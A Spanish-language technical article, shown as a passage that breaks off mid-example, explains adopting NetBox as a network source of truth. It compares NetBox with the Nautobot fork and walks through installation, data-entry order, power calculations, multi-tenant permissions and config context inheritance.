Supervisar el circuito Decir en qué rack está un equipo, y en qué U Abrir el armario Lee esa columna de la derecha como una lista de las herramientas que sigues necesitando. Léela mal e intentarás convertir NetBox en todas ellas, y así es como una fuente de verdad se convierte en otro sistema en el que nadie confía.\nPor qué necesitas una Pregunta a un proveedor de servicios gestionados dónde está el registro de referencia de la red de un cliente y obtendrás una respuesta. Pregúntaselo por separado a dos de sus ingenieros y obtendrás dos.\nUno señalará una hoja de cálculo. Otro señalará un diagrama guardado por última vez por alguien que se fue en 2023. Otro más dirá que la configuración del cortafuegos es la documentación, lo cual al menos es honesto, porque una configuración sí describe lo que hace una caja. Solo que no describe por qué, ni quién lo pidió, ni cuál de los cuatro clientes detrás de esa caja paga por la regla.\nEl fallo nunca es el día en que te das cuenta de que el registro está mal. Es el día en que alguien lo necesita.\nEl momento Lo que tienes que presentar Lo que cuesta cuando no puedes Una conversación de renovación Un desglose partida por partida de lo que compra la cuota mensual El presupuesto del competidor está desglosado, porque él fue y contó Un ingeniero presenta su renuncia Todo lo que sabía, por escrito Seis meses de averiguarlo, un ticket a la vez Un cliente se marcha Una descripción de su propio parque Tres semanas para armarla, y una referencia que dará con honestidad Un auditor pregunta por el alcance Qué sistemas guardan datos personales y dónde están físicamente A un regulador se le contó algo que luego resulta no ser cierto Una migración hay que presupuestarla Un recuento de lo que realmente hay Pujas sobre una estimación y te comes la diferencia Nada de eso es exótico. Eso es un martes.\nLo que sacas de ello no es documentación. La documentación es algo que escribes y luego dejas de mantener. Lo que obtienes es una base de datos que se niega a contener una contradicción, y que responde preguntas que nadie pensó en hacerle de antemano. Más adelante en este artículo hay un armario que resulta estar lleno al 28,6 por ciento de equipo y al 90,7 por ciento de electricidad. Nadie se puso a buscar eso. Cayó de haber introducido una potencia una vez en un tipo de equipo.\nLa reserva honesta viene con ello, y la última sección trata de eso. Un registro solo vale lo que te cuesta mantenerlo correcto. Pero la alternativa es un negocio incapaz de describirse, y el primero en descubrirlo suele ser un cliente.\nEl otro: Nautobot Te lo encontrarás en más o menos una semana de búsquedas, así que conviene saber qué pasó.\nEn 2021, Network to Code forkeó NetBox y llamó al resultado Nautobot. No un fork blando ni una distribución: un fork duro que lleva cinco años divergiendo. Sus propias notas de la versión v1.0 lo describen como «a divergent fork of NetBox 2.10», el repositorio se creó el 19 de febrero de 2021 y la v1.0.0 salió el 26 de abril de 2021.3\nLas razones que dieron están en su propio blog y merecen leerse en sus palabras más que en las mías. Tres cosas lo impulsaron. Querían vender soporte empresarial: «We need to offer high-touch support models with Service Level Agreements (SLAs) we can guarantee. We need flexibility to offer Long-term Support (LTS) for customers who can\u0026rsquo;t upgrade at the pace of a fast moving open source project.» Querían que la fuente de verdad se situara en el centro de una plataforma de automatización en lugar de servir a la documentación. Y «there became a growing divergence in our vision about what a Source of Truth for networking should look like and how to get there».4\nA esa primera razón hay que ponerle su fecha, porque ha dejado de ser cierta. En febrero de 2021 no había ninguna empresa detrás de NetBox que pudiera venderte nada. NetBox Labs no se fundó hasta 2023, como escisión de NS1 tras su adquisición por IBM, cofundada por el propio mantenedor principal de NetBox.5\nY no es un tercero que haya montado un negocio sobre el proyecto de otro. NetBox Labs es la depositaria de NetBox: la documentación del propio proyecto dice «the open source project is stewarded by NetBox Labs and a team of volunteer maintainers».1 Venden NetBox Enterprise para instalaciones autogestionadas, lo alojan por ti como NetBox Cloud, y ofrecen soporte 24/7.6\nAsí que «you cannot buy support for NetBox» era algo justo de decir cuando Network to Code forkeó, y hoy no es algo justo de decir. Ambos proyectos tienen detrás una empresa comercial que firmará algo, y en el caso de NetBox esa empresa es la que está a cargo del proyecto.\nLa frase que la mayoría se pierde es la siguiente, y es la razón por la que esta no es una historia sucia: «the NetBox project team suggested that we should consider forking.»\nUn fork no se vuelve mucho más civilizado. Dos grupos querían cosas distintas, lo dijeron durante un periodo largo, y se separaron en lugar de pelearse por una sola base de código. Ambas mitades siguen siendo Apache 2.0. Nadie se llevó nada a lo que no tuviera derecho.\nPara qué servía realmente el fork Las notas de la versión de Nautobot 1.0 enumeran lo que añadió respecto a NetBox 2.10, y esa lista cuenta el debate mejor que cualquier artículo de blog:3\nLo que Nautobot añadió en 2021 Dónde está NetBox ahora Soporte de GraphQL NetBox lo tiene Integración con Git como fuente de datos NetBox lo tiene, como fuentes de datos sincronizadas Inicio de sesión único NetBox lo tiene Secrets NetBox lo tiene mediante un plugin Scripts e informes unificados en Jobs NetBox saca los scripts a un plugin en 4.7 Custom fields en todos los modelos NetBox tiene soporte amplio de custom fields API de plugin de validación de datos NetBox tiene custom validation rules Estados personalizables, como objetos en base de datos Los estados de NetBox siguen siendo un choice set de Python Relaciones definidas por el usuario entre modelos NetBox no tiene equivalente Claves primarias UUID NetBox usa claves enteras Mejoras en la API de plugins El framework de plugins de NetBox ha crecido mucho desde entonces La mitad superior ha convergido en buena medida. Varias cosas que Nautobot entregó en 2021 llegaron después a NetBox, y eso es lo que suele ocurrir cuando dos proyectos resuelven los mismos problemas en público.\nLas tres de abajo no han convergido, y son arquitectónicas más que cosméticas. Hoy he revisado ambas bases de código en lugar de fiarme de las notas de 2021.\nEl Status de Nautobot es un modelo en base de datos, descrito en su propio código fuente como un «Model for database-backend enum choice objects», así que un estado es una fila que alguien puede añadir en la interfaz. Los estados de NetBox vienen de un choice set de Python, por lo que la sección de más abajo añade uno editando configuration.py y reiniciando. Nautobot tiene modelos Relationship y RelationshipAssociation, así que puedes definir una relación entre dos tipos de objeto existentes sin escribir código. La respuesta de NetBox a ese problema es un plugin, y esa es la última serie de secciones de este artículo. Y las claves primarias de Nautobot son UUID, donde las de NetBox son enteros.\nTambién hicieron aquello por lo que forkearon. Hoy Nautobot publica 3.2.x y 2.4.x el mismo día, lo que es una auténtica línea de mantenimiento a largo plazo en paralelo a la actual, y esa era una de las tres razones declaradas.\nCuál de los dos Primero los números honestos. NetBox tiene 21.625 estrellas y 3.133 forks; Nautobot tiene 1.617 y 422.7 A ambos se les ha hecho push en los últimos dos días, ambos son Apache 2.0, y ambos tienen ya detrás una empresa comercial que vende soporte y alojamiento.\nEsa brecha no es un juicio sobre la calidad. Refleja cinco años de ventaja y el hecho de que la mayoría de quienes necesitan una fuente de verdad encuentran NetBox primero. Pero sí decide lo que normalmente importa más que las funciones: cuántos plugins, integraciones, módulos de Ansible, respuestas de foro y colegas vas a encontrar para el que elijas.\nAsí que: si quieres un inventario y una fuente de verdad que otros sistemas lean, y quieres el mayor ecosistema y la contratación más fácil, la respuesta es NetBox, y de eso trata el resto de este artículo. Si tu razón para querer una fuente de verdad es concretamente pilotar automatización desde ella, o quieres que los estados y las relaciones los defina tu equipo en lugar de un fichero de configuración y un reinicio, ve a mirar Nautobot en serio antes de decidir.\nNo dejes que nadie te venda ninguno de los dos solo por el soporte. Ambos bandos lo tienen cubierto ya, y las diferencias que seguirán ahí en cinco años son las de la tabla de arriba.\nLo que no deberías hacer es elegir uno porque alguien te haya dicho que el otro está muerto. Ninguno lo está, y ambos han seguido sacando versiones esta semana.\nPoner uno en marcha Dos caminos, y he recorrido los dos para esto. Contenedores si quieres que funcione en veinte minutos, paquetes en un host si va a ser portante.\nLa pila de contenedores La comunidad mantiene netbox-docker, y esa es la respuesta rápida:8\ngit clone -b release https://github.com/netbox-community/netbox-docker.git cd netbox-docker tee docker-compose.override.yml \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; services: netbox: ports: - 8000:8080 EOF docker compose pull docker compose up Eso te da la aplicación, PostgreSQL, Redis y un worker en segundo plano, conectados entre sí. Construí lo mismo a mano bajo podman para ver las piezas, y las piezas merecen conocerse porque dos de ellas pillan a la gente:\nContenedor Qué hace Si lo dejas fuera netbox La aplicación Django detrás de gunicorn nada funciona postgres La base de datos, 15 o posterior nada funciona redis / valkey Dos bases de datos: una para tareas, otra para caché nada funciona netbox-worker rqworker, que vacía la cola de tareas los webhooks nunca se disparan, las tareas de fondo nunca corren, y nada te avisa netbox-housekeeping La limpieza periódica los registros del changelog nunca caducan Esa cuarta fila es la importante. Sin worker todo parece sano. Las event rules se acumulan y se quedan ahí.\nDos cosas me mordieron en la primera ejecución, y ninguna está en un mensaje de error que buscarías.\nLa primera migración tarda mucho. No un minuto. En esta máquina fueron varios, porque NetBox 4.7 sustituye django-mptt por ltree de PostgreSQL y reconstruye por el camino cada tabla jerárquica. El contenedor simplemente se queda ahí aplicando migraciones. Déjalo en paz.\nSin API_TOKEN_PEPPERS no puedes crear un token de API v2, y la única señal es un aviso en el registro:\nUserWarning: API_TOKEN_PEPPERS is not defined. v2 API tokens cannot be used. Define al menos uno, de al menos cincuenta caracteres, antes de ponerte a buscar por qué la API te rechaza.\nEn un host, desde los paquetes La vía documentada está probada en Ubuntu 24.04. La recorrí de principio a fin en una instalación limpia, y quedó en esto:\nComponente Lo que me dio 24.04 Lo que necesita NetBox 4.7 PostgreSQL 16.15 15 o posterior Redis 7.0.15 6.0 o posterior Python 3.12.3 3.12, 3.13 o 3.14 Django 6.1.1 viene con NetBox NetBox v4.7.2 Esos mínimos son los de NetBox, y la 4.7 subió tanto el suelo de PostgreSQL como el de Redis.9\nTodo el trabajo son cinco pasos.\n# 1. the services sudo apt install -y postgresql redis-server sudo -u postgres psql -c \u0026#34;CREATE DATABASE netbox;\u0026#34; sudo -u postgres psql -c \u0026#34;CREATE USER netbox WITH PASSWORD \u0026#39;something-you-generated\u0026#39;;\u0026#34; sudo -u postgres psql -c \u0026#34;ALTER DATABASE netbox OWNER TO netbox;\u0026#34; sudo -u postgres psql -d netbox -c \u0026#34;GRANT CREATE ON SCHEMA public TO netbox;\u0026#34; # 2. the build dependencies sudo apt install -y python3 python3-pip python3-venv python3-dev build-essential libxml2-dev libxslt1-dev libffi-dev libpq-dev libssl-dev zlib1g-dev git # 3. the application, at a release tag rather than at main sudo mkdir -p /opt/netbox \u0026amp;\u0026amp; cd /opt/netbox sudo git clone https://github.com/netbox-community/netbox.git . sudo git checkout v4.7.2 sudo adduser --system --group netbox sudo chown -R netbox /opt/netbox/netbox/media/ /opt/netbox/netbox/scripts/ /opt/netbox/netbox/reports/ # 4. the configuration: five values, no more cd /opt/netbox/netbox/netbox/ sudo cp configuration_example.py configuration.py python3 /opt/netbox/netbox/generate_secret_key.py # run it twice sudo $EDITOR configuration.py # 5. let the upgrade script do the rest sudo /opt/netbox/upgrade.sh Esos cinco valores son ALLOWED_HOSTS, DATABASES, REDIS, SECRET_KEY y API_TOKEN_PEPPERS. Genera los dos últimos por separado y no reutilices uno para el otro. Así que ejecuta el generador de claves dos veces y pega los resultados en líneas distintas.\nupgrade.sh construye el entorno virtual, instala todas las dependencias de Python, ejecuta las migraciones, construye la documentación para uso sin conexión y recoge los ficheros estáticos. Cuando termina en una máquina nueva imprime un aviso que parece alarmante y no lo es:\nWARNING: No existing virtual environment was detected. A new one has been created. Update your systemd service files to reflect the new Python and gunicorn executables. (If this is a new installation, this warning can be ignored.) Luego un superusuario, y se ejecuta así:\nsource /opt/netbox/venv/bin/activate cd /opt/netbox/netbox \u0026amp;\u0026amp; python3 manage.py createsuperuser Para cualquier cosa real, pon gunicorn delante en lugar de runserver. La configuración y los ficheros de unidad ya están en el repositorio, y ese es el detalle que conviene conocer porque la gente escribe los suyos:\nsudo cp /opt/netbox/contrib/gunicorn.py /opt/netbox/gunicorn.py sudo cp -v /opt/netbox/contrib/*.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable --now netbox netbox-rq netbox.service ejecuta gunicorn en 127.0.0.1:8001, netbox-rq.service ejecuta el worker, y nginx o Apache se pone delante para terminar TLS y servir /static. Dos servicios, y el segundo es el mismo worker que necesita la pila de contenedores.\nEl orden en que tienes que llenarlo Un NetBox nuevo es una base de datos vacía con opiniones, y la primera hora con él suele irse en descubrir cuáles son. Vas a añadir un equipo, y no te deja.\nEsos asteriscos rojos son toda la lección. NetBox no registra nada antes de que existan las cosas de las que cuelga, y no se está poniendo difícil: un equipo sin tipo es una fila incapaz de responder a ninguna de las preguntas para las que existe un equipo.\nAsí que en lugar de adivinar, pregunté al modelo qué claves ajenas son realmente obligatorias, y luego intenté romper cada regla a través de la API para ver qué vuelve.\nPOST /api/dcim/device-types/ no manufacturer {\u0026#34;manufacturer\u0026#34;: [\u0026#34;This field is required.\u0026#34;]} POST /api/dcim/devices/ no device type {\u0026#34;device_type\u0026#34;: [\u0026#34;This field is required.\u0026#34;]} POST /api/dcim/interfaces/ no device {\u0026#34;device\u0026#34;: [\u0026#34;This field is required.\u0026#34;]} POST /api/ipam/aggregates/ no RIR {\u0026#34;rir\u0026#34;: [\u0026#34;This field is required.\u0026#34;]} POST /api/circuits/circuits/ no provider, no type {\u0026#34;provider\u0026#34;: [\u0026#34;This field is required.\u0026#34;], \u0026#34;type\u0026#34;: [\u0026#34;This field is required.\u0026#34;]} POST /api/virtualization/virtual-machines/ nothing at all {\u0026#34;__all__\u0026#34;: [\u0026#34;A virtual machine must be assigned to a site, cluster, or device.\u0026#34;]} Cada uno rechazó, y dijo exactamente qué faltaba. Aquí está la misma información como lista de requisitos previos:\nPara crear Requiere antes Opcional, pero lo quieres antes Tenant nada un grupo de tenants Region, Site group nada un padre de la misma clase, se anidan Site nada una Region, un Site group, un Tenant Location un Site una Location padre, un Tenant Rack type un Manufacturer Rack un Site una Location, Rack group, Rack role, Rack type, Tenant Device type un Manufacturer Device role nada una Device role padre, se anidan Device una Device role, un Device type, un Site un rack y posición, una Platform, un Tenant Interface, y cualquier otro componente un Device Cable dos cosas donde terminar un Tenant Aggregate un RIR un Tenant VLAN nada un VLAN group, una Role, un Tenant Prefix nada un Site, una VLAN, una Role, un VRF, un Tenant IP address nada una Interface a la que asignarla, un Tenant Circuit un Provider y un Circuit type un Tenant Circuit termination un Circuit un Site donde aterrizar Cluster un Cluster type un Cluster group, un Site, un Tenant Virtual machine un Site, un Cluster o un Device una Platform, un Tenant VM interface una Virtual machine La segunda columna es la que te cuesta. Los prefijos, las direcciones IP, las VLAN y los tenants no exigen nada en absoluto, así que nada te impide crearlos el primer día en el orden que te apetezca. Si sirven de algo es otra cuestión, porque una dirección sin interfaz detrás es una fila en una lista, y un equipo sin tenant es un equipo que volverás a editar más adelante.\nEl orden en que trabajar de verdad Eso da una secuencia. Bájala y nunca nada te rechaza.\nPrimero, las cosas de las que cuelga todo lo demás. Nada de esto es emocionante y todo es barato de equivocar.\nGrupos de tenants, luego tenants. Hazlos antes que nada. Veintiocho modelos aceptan un tenant, entre ellos Site, Location y Rack, así que si los clientes no existen todavía no puedes irlos sellando por el camino y acabarás editando en lote más tarde. Regiones y site groups. Ambos opcionales, ambos se anidan en sí mismos, y son independientes entre sí. Las regiones son para la geografía, los site groups para la función, y puedes usar uno, ambos o ninguno. Emplazamientos. La raíz de casi todo. Un emplazamiento no exige nada, y por eso es lo primero que realmente puedes crear. Ubicaciones. Necesitan un emplazamiento, y se anidan, así que una sala con filas con pods es un solo modelo con tres niveles. Rack roles y rack groups. Ambos opcionales. Los rack groups son planos y se sitúan junto a las ubicaciones como segundo eje, lo que resulta práctico para filas y pods. Fabricantes, luego rack types. Un rack type necesita un fabricante. Sáltate los rack types si no modelas los armarios en sí. Racks. Necesitan un emplazamiento. Si además le das una ubicación, esa ubicación tiene que pertenecer a ese emplazamiento, y NetBox lo comprueba. Luego el catálogo de hardware, no el hardware. Antes de poder añadir un solo equipo necesitas fabricantes, device types, device roles y, en la práctica, platforms.\nFabricantes. Puede que ya tengas algunos del paso 6, porque los rack types también los necesitan. Los module types igual. Device types, cada uno necesitando un fabricante. Device roles, que se anidan, y platforms. Este es el paso que la gente se salta, y es el paso que decide cuánto teclear cuesta el resto del trabajo. Un device type lleva sus propias interfaces, puertos y bahías como plantillas, así que cada equipo que crees a partir de él llega con los componentes correctos ya puestos. Haz bien el tipo una vez y enracar cuarenta son cuarenta nombres.\nPlatform es el raro de esa lista, porque un equipo no exige una estrictamente. Hazlo ahora de todas formas. Es lo que llevará después la plantilla de configuración y el driver NAPALM, y volver a ponerla sobre un parque entero es la misma tarde que te habrías gastado en los tenants.\nLuego el equipo en sí.\nEquipos. Rol, tipo y emplazamiento son todos obligatorios. Rack y posición son opcionales, y si los das tienen que ser coherentes con el emplazamiento. Componentes, si el device type no los ha suministrado ya. Cables, entre los componentes. Luego el direccionamiento, porque una dirección quiere una interfaz donde vivir y la interfaz solo existe después del paso 12.\nRIR, luego aggregates. Roles de prefijo y de VLAN, VRF, VLAN groups y luego VLAN. Prefijos, luego las direcciones IP individuales. Luego la capa comercial.\nProveedores, cuentas de proveedor y circuit types. Circuitos, y luego termínalos en emplazamientos. Y el parque virtual, que refleja el físico.\nCluster types y cluster groups, luego clústeres. Máquinas virtuales, que necesitan un emplazamiento, un clúster o un equipo, y luego sus interfaces. Los pasos 1 a 10 son una tarde y parecen administración. No hay nada glamuroso en ellos. También son la tarde que decide si el paso 11 lleva una mañana o quince días.\nLas reglas que muerden más tarde Los campos obligatorios son la mitad fácil, porque fallan de inmediato y te dicen por qué. Con lo que la gente se tropieza son las reglas de coherencia, que solo se disparan cuando ya tienes datos suficientes para contradecirte:\ndevice at Leeds, put in a Manchester rack {\u0026#34;rack\u0026#34;: [\u0026#34;Rack MCR1-A07 (A07) does not belong to site Leeds Edge.\u0026#34;]} device at Leeds, in a Manchester location {\u0026#34;location\u0026#34;: [\u0026#34;Location Hall 2 does not belong to site Leeds Edge.\u0026#34;]} rack at Leeds, in a Manchester location {\u0026#34;__all__\u0026#34;: [\u0026#34;Assigned location must belong to parent site (Leeds Edge).\u0026#34;]} a second device in a unit that is already taken {\u0026#34;position\u0026#34;: [\u0026#34;U39.0 is already occupied or does not have sufficient space to accommodate this device type: MX204 (1.0U)\u0026#34;]} Esa última es la que señalaría si alguien preguntara por qué molestarse con todo esto. NetBox sabe que el equipo mide 1U, sabe qué hay en el armario, y no te deja registrar dos cosas en el mismo sitio. Tu hoja de cálculo te deja hacer eso toda la tarde sin decir una palabra, y te enteras cuando alguien está de pie en la sala con una caja en las manos.\nNada de esto es configurable y nada debería serlo. Esa es la diferencia entre un registro y un deseo.\nEn uso: lo que te da cada pantalla Con el parque cargado, esto es lo que realmente sacas de vuelta. Todo lo que sigue es esa misma instancia: un armario, catorce equipos, cableados y direccionados entre tres clientes.\nUn equipo son sus componentes Entra en uno de esos hipervisores y la pestaña interesante no es el resumen, son las interfaces.\nLee una fila de lado a lado. La interfaz, su velocidad, lo que escribiste sobre ella, la dirección que lleva, la etiqueta del cable, y el puerto del otro extremo. Eso es una sola consulta, y es la respuesta a la pregunta que todo el mundo hace de verdad, que es «¿a qué está conectado esto?».\nFíjate en dónde está la dirección. Está en eno1, no en el servidor. Eso suena a pedantería exactamente hasta que tienes una caja con una interfaz de gestión, dos de datos y un loopback, y alguien pregunta qué dirección responde por ella. Un modelo que cuelga las direcciones de los equipos no puede decírtelo. Este sí, y también puede contener el caso perfectamente ordinario de cuatro direcciones en una sola interfaz.\nSeguir el cable Los cables terminan en componentes, no en equipos. Una interfaz en un extremo, una interfaz en el otro, o un front port, un rear port, una toma eléctrica, una terminación de circuito. Ese es el detalle sobre el que se apoya toda la función, y es por lo que la lista de interfaces de arriba podía imprimir el otro extremo en su propia columna sin que se lo dijeran.\nModela un cable de equipo a equipo y habrás dibujado una imagen. Termínalo en los puertos y NetBox puede recorrerlo.\nAquí un salto, porque es un cable de conexión directa. Pon paneles de parcheo en medio y los recorre, panel por panel, y te dice qué hay al otro extremo de un tendido que cruza tres armarios. Ese es el trabajo que, si no, requiere una linterna y alguien sujetando el otro extremo de una sonda de tono.\nEl trazado también imprime la ubicación completa de cada extremo. Emplazamiento, sala, armario, cara, unidad de rack. Si alguna vez has estado al teléfono intentando explicarle a un técnico de manos remotas qué caja mirar, esa línea es todo el valor.\nLas direcciones, como árbol en lugar de como pestaña IPAM es la mitad por la que la gente llega.\nLa sangría se calcula a partir de las propias direcciones. No le dices a NetBox que 10.20.20.0/24 está dentro de 10.20.0.0/16, lo deduce, y seguirá deduciéndolo cuando alguien meta un /26 en medio el año que viene.\nCada fila lleva las cosas por las que realmente filtras: la VLAN a la que apunta, el rol, y el cliente al que pertenece. La utilización también se calcula.\nAbre uno y obtienes las direcciones que contiene, y los huecos.\nEsas filas verdes son el espacio libre, mostrado en línea con el espacio usado. Hay una llamada de API que te entrega la siguiente dirección libre de un prefijo, y es la única pieza de automatización de IPAM que se amortiza de inmediato, porque es lo que la gente hace si no entornando los ojos ante una hoja de cálculo y confiando en la suerte.\nUna interfaz admite tantas direcciones como quieras, de ambas familias, y designas una de cada como la primaria del equipo.\nDos IPv4 y dos IPv6 en un solo puerto, lo cual es un martes cualquiera y algo que un modelo centrado en el equipo no puede expresar en absoluto.\nIntroduce las direcciones con la máscara de la red en la que están, no como /32. NetBox aceptará 10.20.20.11/32 y lo archivará bajo el prefijo correcto, porque la contención se deduce de la dirección de host. Lo que no hará es corregirte después: la máscara se almacena exactamente como se escribió y se devuelve así a todo lo que la lea, así que un /32 en una dirección de LAN renderiza un /32 en la configuración del equipo. El sitio donde eso muerde es tres meses después en una plantilla de configuración, no hoy en el formulario.\nUna instalación, tres clientes La mayoría de los objetos de NetBox pueden asignarse a un tenant. Una empresa lo usa para unidades de negocio. Si vendes servicios gestionados, creas uno por cliente.\nEse panel de la derecha es la respuesta a «¿qué tiene este cliente?», y se ha montado solo. Sin informe, sin hoja de cálculo, sin preguntarle al ingeniero que lo construyó.\nConviene ser preciso con lo que significa la asignación a tenant, porque equivocarse el primer día es un año de deshacer el enredo después. Un tenant significa que el objeto está dedicado a ese cliente. Un router que solo le sirve a él recibe su tenant. Un cortafuegos que sirve a cuatro de ellos no pertenece a ninguno, así que no recibe ninguno, y la relación va a otro sitio. Más sobre eso más abajo, porque es el punto en el que la mayoría descubre que necesita añadir algo propio.\nPon los números en el tipo de equipo Este es el paso que separa un inventario de algo que responde preguntas, y cuesta unos diez minutos por tipo de equipo.\nUn device type puede llevar su peso y, a través de sus plantillas de power port, su consumo eléctrico. Ponlos una vez en el tipo y cada equipo que crees a partir de él los hereda. Déjalos fuera y NetBox te dirá encantado que un armario está lleno al 28,6 % y nada más.\nPuse peso en los cinco tipos que hay aquí, di a cada uno dos plantillas de power port con un consumo máximo y uno asignado, di al tipo PDU una entrada y doce tomas, luego creé un power panel y dos alimentaciones hacia el armario y cableé el conjunto: cada PSU1 de cada equipo a la PDU A, cada PSU2 a la PDU B, y la entrada de cada PDU a su alimentación.\nEntonces la página del rack cambia por completo.\nUtilización de espacio 28,6 %. Utilización eléctrica 90,7 %.\nEse armario está lleno a un tercio de equipo y casi sin electricidad, y ese es un hecho sobre tu parque que ninguna hoja de cálculo va a ofrecerte nunca por su cuenta. También es el hecho que decide si el próximo pedido se enraca ahí o en otro sitio, y cayó de datos que introdujiste una vez, en los tipos.\nDos cosas que lo dejarán marcando cero Al principio tuve 0,0 %, dos veces, y ambas causas merecen conocerse porque ninguna produce un error.\nLas tomas tienen que referenciar la entrada. Una toma eléctrica de una PDU tiene un campo power_port que apunta al puerto aguas arriba del mismo equipo. Déjalo en blanco y la cadena queda rota: NetBox no tiene forma de saber que esas doce tomas se alimentan de esa entrada, así que nada se agrega.\nDeja vacíos los campos de consumo de la entrada. Esta es la contraintuitiva. NetBox solo calcula el consumo de un power port a partir de lo que está enchufado en él si sus dos propios campos de consumo están vacíos:\nif self.allocated_draw is None and self.maximum_draw is None: ...aggregate the downstream power ports... # otherwise return {\u0026#39;allocated\u0026#39;: self.allocated_draw or 0, ...} Yo había puesto servicialmente maximum_draw: 7400 en la entrada de la PDU, porque es para lo que la PDU está dimensionada. NetBox me creyó por tanto, tomó allocated_draw como no definido, e informó cero. Borra ambos y lo calcula:\nmcr1-pdu-a INPUT -\u0026gt; allocated 5340 VA, maximum 8480 VA, across 12 outlets mcr1-pdu-b INPUT -\u0026gt; allocated 5340 VA, maximum 8480 VA, across 12 outlets feed MCR1-A07-A: available 5888 VA (230 V x 32 A x 80% max utilisation) RACK power utilisation: 90.7 % RACK weight: 166.6 kg of 900 kg Así que la regla es: pon números reales en las hojas, y deja vacíos los puertos intermedios para que NetBox pueda sumarlos. Un valor definido administrativamente siempre gana al calculado, lo cual es comportamiento correcto y exactamente lo que no hay que hacer en una PDU.\nLa refrigeración, que es nueva La versión 4.7 añadió refrigeración a DCIM, y llegó con la mitad que se está poniendo cara. Un rack lleva una cooling capability de aire, híbrida o líquida y una capacidad en kilovatios; un device type lleva un cooling method. Por encima se sitúan las cooling sources para las enfriadoras y los equipos CRAC, las cooling feeds que representan un circuito hacia un rack, y componentes de admisión y salida en los propios equipos para placas frías y colectores.\nEl armario de arriba marca Hybrid, 15,00 kW, porque se lo dije al rack. Si este año recibes equipo refrigerado por líquido, ahí tienes un modelo para lo que ahora guardas en una hoja de cálculo.\nUna instalación, muchos clientes La asignación a tenants es la razón por la que un proveedor puede operar un solo NetBox en lugar de uno por cliente, y merece la pena entender qué hace y, más importante, qué no hace.\nVeintiocho de los modelos de NetBox llevan un campo tenant. Emplazamientos, ubicaciones, racks y reservas de rack. Equipos, cables y virtual device contexts. Prefijos, direcciones IP, rangos, aggregates, VLAN, VLAN groups, VRF, route targets, ASN. Circuitos y circuit groups. Clústeres y máquinas virtuales. Túneles, L2VPN, redes y enlaces inalámbricos. Power feeds y cooling feeds.\nEso es todo sustantivo facturable. Ponlo de forma coherente y «¿qué tiene este cliente?» deja de ser una investigación.\nPero un tenant es una etiqueta, no un candado. Dice que el objeto está dedicado a ese cliente. No impide que nadie que pueda iniciar sesión lea el conjunto, lo cual está bien dentro de una sola empresa y no sirve de nada en el momento en que un cliente tiene una cuenta.\nDe ahí se siguen dos cosas, y la segunda es la que la gente hace mal.\nUn tenant significa dedicado. Un router que sirve a un solo cliente recibe su tenant. Un cortafuegos que sirve a cuatro no pertenece a ninguno, así que no recibe nada, y registras la relación en lo que realmente vendiste. Forzar un tenant en equipo compartido vuelve silenciosamente incorrecto cada informe construido sobre tenants.\nY el acceso es un mecanismo completamente aparte.\nEn los permisos vive el aislamiento Los object permissions de NetBox toman una restricción JSON, y la restricción es un filtro del ORM de Django. Estrecha el queryset antes de que se construya nada a partir de él, así que cada vista, exportación, llamada de API y búsqueda queda estrechada con ella.\nTres campos hacen el trabajo. Los tipos de objeto a los que se aplica, las acciones que concede, y esa restricción de abajo. Todo lo demás es contabilidad.\nAquí está la lista de equipos como administrador.\nY aquí está la misma URL, la misma instalación, con la sesión iniciada como el cliente.\nDos filas en lugar de catorce, y mira el menú de la izquierda. Se ha plegado a las cuatro cosas que esa cuenta tiene permitido tocar. Nadie configuró eso. La navegación se construye con los mismos permisos, así que un cliente nunca ve un enlace a algo que lo rechazaría.\nLas dos formas de decir no Este es el detalle que conviene conocer, porque los dos rechazos significan cosas distintas y ambos son deliberados.\nEl token del cliente pide Obtiene /api/dcim/devices/ 200, una fila de dos /api/dcim/devices/1/, el suyo 200 /api/dcim/devices/2/, el de otro 404 /api/tenancy/tenants/ 403 /api/dcim/sites/, nunca concedido 403 ningún token en absoluto 403 404 significa que el tipo es tuyo pero esa fila no. La restricción la retiró del queryset, así que para la petición no existe. Un 403 ahí confirmaría que existe, y permitiría a un cliente curioso contar tu parque recorriendo los identificadores.\n403 significa que el tipo nunca fue tuyo. Los tenants y los emplazamientos nunca se concedieron, así que rechazan de entrada, y el cliente no puede enumerar quién más está en la plataforma.\nLuego déjales escribir Solo lectura es el caso fácil. La pregunta real es si se le pueden confiar derechos de edición a un cliente, así que concedí change bajo la misma restricción y me puse a buscar la salida.\nIntento Resultado Editar su propio equipo 200, guardado Editar el equipo de otro cliente 404 Editar su propio equipo moviéndolo al tenant del otro cliente 403 Borrar su propio equipo 403, delete nunca se concedió La tercera fila es la que importa. Reasignar tu propio equipo al tenant de otra persona es la escapatoria obvia, porque el objeto está dentro de tu restricción cuando llega la petición y fuera después. NetBox evalúa la restricción contra el estado en el que quedaría el objeto, así que rechaza. Releí el equipo en lugar de fiarme del código de estado, y el tenant no se había movido.\nEse es el agujero que la mayoría de los sistemas multicliente caseros dejan abierto, y normalmente lo encuentra un cliente y no una prueba.\nVariables que tienen que heredarse Aquí está la distinción que la gente hace mal, y hacerla bien ahorra mucha edición.\nUn custom field es un valor en un objeto. Lo pones objeto por objeto, y ahí se queda. Bien para un hecho sobre la cosa en sí: una etiqueta de activo, un número de contrato de soporte, una fecha de puesta en servicio.\nUn config context es un valor adjunto a una característica, que hereda todo lo que encaja con esa característica. Bien para una variable que debe caer en cascada: tus servidores NTP, tus destinos de syslog, tu comunidad SNMP, tu dominio DNS, tu VLAN de gestión, tu ventana de respaldo.\nSi te pillas poniendo el mismo custom field al mismo valor en cuarenta equipos, lo que querías era un config context.\nUn context es JSON arbitrario, y puede adjuntarse a una región, un site group, un emplazamiento, una ubicación, un device type, un rol, una platform, un clúster, un cluster type, un cluster group, un grupo de tenants, un tenant o una etiqueta. Tenant está en esa lista, lo que para un proveedor significa que un hecho cierto para un cliente en todas partes le sigue a cada equipo que añadas para él.\nLa fusión es por clave, y el peso decide quién gana cada una.\nLee el panel de la derecha contra el de la izquierda. La región aporta cuatro claves con peso 1000. El emplazamiento aporta una clave con peso 2000. El context renderizado conserva intactos el dominio, los servidores NTP y la comunidad de la región, y toma el servidor syslog del emplazamiento, porque esa es la única clave que algo disputó.\nEscribes la excepción, no una copia nueva de todo con la excepción dentro. Ese es todo el valor, y es por lo que esto escala donde un fichero de variables por equipo no lo hace.\nEl context local gana a todo lo que esté por encima La pila de herencia tiene una cima, y es el objeto mismo. Los local context data de un equipo ganan a cada source context que se le aplique, sean cuales sean los pesos.\nPuse esto en mcr1-core-01:\n{\u0026#34;syslog_servers\u0026#34;: 